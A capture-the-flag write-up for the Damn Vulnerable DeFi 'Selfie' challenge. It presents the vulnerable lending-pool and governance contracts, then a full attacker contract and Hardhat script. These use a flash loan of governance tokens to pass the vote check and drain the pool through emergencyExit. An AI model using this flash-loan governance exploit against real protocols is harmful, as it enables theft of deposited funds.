Selfie
ISimpleGovernance.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ISimpleGovernance {
struct GovernanceAction {
uint128 value;
uint64 proposedAt;
uint64 executedAt;
address target;
bytes data;
}
error NotEnoughVotes(address who);
error CannotExecute(uint256 actionId);
error InvalidTarget();
error TargetMustHaveCode();
error ActionFailed(uint256 actionId);
event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);
function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId);
function executeAction(uint256 actionId) external payable returns (bytes memory returndata);
function getActionDelay() external view returns (uint256 delay);
function getGovernanceToken() external view returns (address token);
function getAction(uint256 actionId) external view returns (GovernanceAction memory action);
function getActionCounter() external view returns (uint256);
}
SelfiePool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./SimpleGovernance.sol";
/**
* @title SelfiePool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SelfiePool is ReentrancyGuard, IERC3156FlashLender {
ERC20Snapshot public immutable token;
SimpleGovernance public immutable governance;
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
error RepayFailed();
error CallerNotGovernance();
error UnsupportedCurrency();
error CallbackFailed();
event FundsDrained(address indexed receiver, uint256 amount);
modifier onlyGovernance() {
if (msg.sender != address(governance))
revert CallerNotGovernance();
_;
}
constructor(address _token, address _governance) {
token = ERC20Snapshot(_token);
governance = SimpleGovernance(_governance);
}
function maxFlashLoan(address _token) external view returns (uint256) {
if (address(token) == _token)
return token.balanceOf(address(this));
return 0;
}
function flashFee(address _token, uint256) external view returns (uint256) {
if (address(token) != _token)
revert UnsupportedCurrency();
return 0;
}
function flashLoan(
IERC3156FlashBorrower _receiver,
address _token,
uint256 _amount,
bytes calldata _data
) external nonReentrant returns (bool) {
if (_token != address(token))
revert UnsupportedCurrency();
token.transfer(address(_receiver), _amount);
if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS)
revert CallbackFailed();
if (!token.transferFrom(address(_receiver), address(this), _amount))
revert RepayFailed();
return true;
}
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
}
SimpleGovernance.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableTokenSnapshot.sol";
import "./ISimpleGovernance.sol"
;
/**
* @title SimpleGovernance
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SimpleGovernance is ISimpleGovernance {
uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days;
DamnValuableTokenSnapshot private _governanceToken;
uint256 private _actionCounter;
mapping(uint256 => GovernanceAction) private _actions;
constructor(address governanceToken) {
_governanceToken = DamnValuableTokenSnapshot(governanceToken);
_actionCounter = 1;
}
function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
if (!_hasEnoughVotes(msg.sender))
revert NotEnoughVotes(msg.sender);
if (target == address(this))
revert InvalidTarget();
if (data.length > 0 && target.code.length == 0)
revert TargetMustHaveCode();
actionId = _actionCounter;
_actions[actionId] = GovernanceAction({
target: target,
value: value,
proposedAt: uint64(block.timestamp),
executedAt: 0,
data: data
});
unchecked { _actionCounter++; }
emit ActionQueued(actionId, msg.sender);
}
function executeAction(uint256 actionId) external payable returns (bytes memory) {
if(!_canBeExecuted(actionId))
revert CannotExecute(actionId);
GovernanceAction storage actionToExecute = _actions[actionId];
actionToExecute.executedAt = uint64(block.timestamp);
emit ActionExecuted(actionId, msg.sender);
(bool success, bytes memory returndata) = actionToExecute.target.call{value: actionToExecute.value}(actionToExecute.data);
if (!success) {
if (returndata.length > 0) {
assembly {
revert(add(0x20, returndata), mload(returndata))
}
} else {
revert ActionFailed(actionId);
}
}
return returndata;
}
function getActionDelay() external pure returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}
function getGovernanceToken() external view returns (address) {
return address(_governanceToken);
}
function getAction(uint256 actionId) external view returns (GovernanceAction memory) {
return _actions[actionId];
}
function getActionCounter() external view returns (uint256) {
return _actionCounter;
}
/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = _actions[actionId];
if (actionToExecute.proposedAt == 0) // early exit
return false;
uint64 timeDelta;
unchecked {
timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;
}
return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;
}
function _hasEnoughVotes(address who) private view returns (bool) {
uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}
Goal
You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.
Exploit
In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.
The vulnerable part of the code is located in the SelfiePool contract, inside the emergencyExit, the problem is that we can bypass the onlyGovernance modifier and transfer all the DVT tokens from the SelfiePool to our address.
To explout the selfie pool we need to:
- create Attacker contract, this contract will be borrowing the flash loan from the SelfiePool, therefore it needs to implement the onFlashLoan() function from IERC3156FlashBorrower. We need to have instances of of the SimpleGovernance, SelfiePool and the DamnValuableTokenSnapshot contracts
-
implement onFlashLoan() function, inside this function we will:
- call the snapshot function from the DamnValuableTokenSnapshot token contract, we need this in order to snapshot that the borrowed tokens are in posession of the Attacker contract now
- call the queueAction() function from SimpleGovernance pool, and send abi.encodeWithSignature("emergencyExit(address)", address(this)) as a argument for the data parameter, this way we will call the emergencyExit() function from the SimpleGovernance contract
- approve the DamnValuableTokenSnapshot token contract to use the borrowed tokens, this is needed in order to repay the loan
-
create executeFlashLoan() external function, inside this function we will call flashLoan function from the SelfiePool contract
- create executeAction() external function, inside this function we will call executeAction() function from the SimpleGovernance contract, and after that it will transfer the DVT tokens from the Attacker contract to our EOA
- create instance from the Attacker contract
- call executeFlashLoan from the Attacker contract
- increase evm time for 2 days, await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days
- call executeAction from the attacker contract
Attacker contract code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./SelfiePool.sol";
import "./ISimpleGovernance.sol";
import "../DamnValuableTokenSnapshot.sol";
contract SelfieAttacker is IERC3156FlashBorrower {
address private immutable governance;
SelfiePool private immutable pool;
DamnValuableTokenSnapshot private governanceToken;
constructor(address _governance, SelfiePool _pool, address _token) {
governance = _governance;
pool = SelfiePool(_pool);
governanceToken = DamnValuableTokenSnapshot(_token);
}
function onFlashLoan(
address,
address token,
uint256 amount,
uint256 fee,
bytes calldata
) external override returns (bytes32) {
uint snapshotId = governanceToken.snapshot();
ISimpleGovernance(governance).queueAction(
address(pool),
0,
abi.encodeWithSignature("emergencyExit(address)", address(this))
);
governanceToken.approve(address(pool), amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function executeFlashLoan() external {
pool.flashLoan(
IERC3156FlashBorrower(address(this)),
address(governanceToken),
governanceToken.balanceOf(address(pool)),
""
);
}
function executeAction() external {
ISimpleGovernance(governance).executeAction{value: 0}(1);
governanceToken.transfer(
msg.sender,
governanceToken.balanceOf(address(this))
);
}
}
Solution code
const { ethers } = require('hardhat');
const { expect } = require('chai');
const { time } = require("@nomicfoundation/hardhat-network-helpers");
describe('[Challenge] Selfie', function () {
let deployer, player;
let token, governance, pool;
const TOKEN_INITIAL_SUPPLY = 2000000n * 10n ** 18n;
const TOKENS_IN_POOL = 1500000n * 10n ** 18n;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, player] = await ethers.getSigners();
// Deploy Damn Valuable Token Snapshot
token = await (await ethers.getContractFactory('DamnValuableTokenSnapshot', deployer)).deploy(TOKEN_INITIAL_SUPPLY);
// Deploy governance contract
governance = await (await ethers.getContractFactory('SimpleGovernance', deployer)).deploy(token.address);
expect(await governance.getActionCounter()).to.eq(1);
// Deploy the pool
pool = await (await ethers.getContractFactory('SelfiePool', deployer)).deploy(
token.address,
governance.address
);
expect(await pool.token()).to.eq(token.address);
expect(await pool.governance()).to.eq(governance.address);
// Fund the pool
await token.transfer(pool.address, TOKENS_IN_POOL);
await token.snapshot();
expect(await token.balanceOf(pool.address)).to.be.equal(TOKENS_IN_POOL);
expect(await pool.maxFlashLoan(token.address)).to.eq(TOKENS_IN_POOL);
expect(await pool.flashFee(token.address, 0)).to.eq(0);
});
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const attacker = await (await ethers.getContractFactory('SelfieAttacker', player)).deploy(
governance.address,
pool.address,
token.address
);
const flashLoanTx = await attacker.connect(player).executeFlashLoan();
await flashLoanTx.wait();
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days
const executeActionTx = await attacker.connect(player).executeAction();
await executeActionTx.wait();
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player has taken all tokens from the pool
expect(
await token.balanceOf(player.address)
).to.be.equal(TOKENS_IN_POOL);
expect(
await token.balanceOf(pool.address)
).to.be.equal(0);
});
});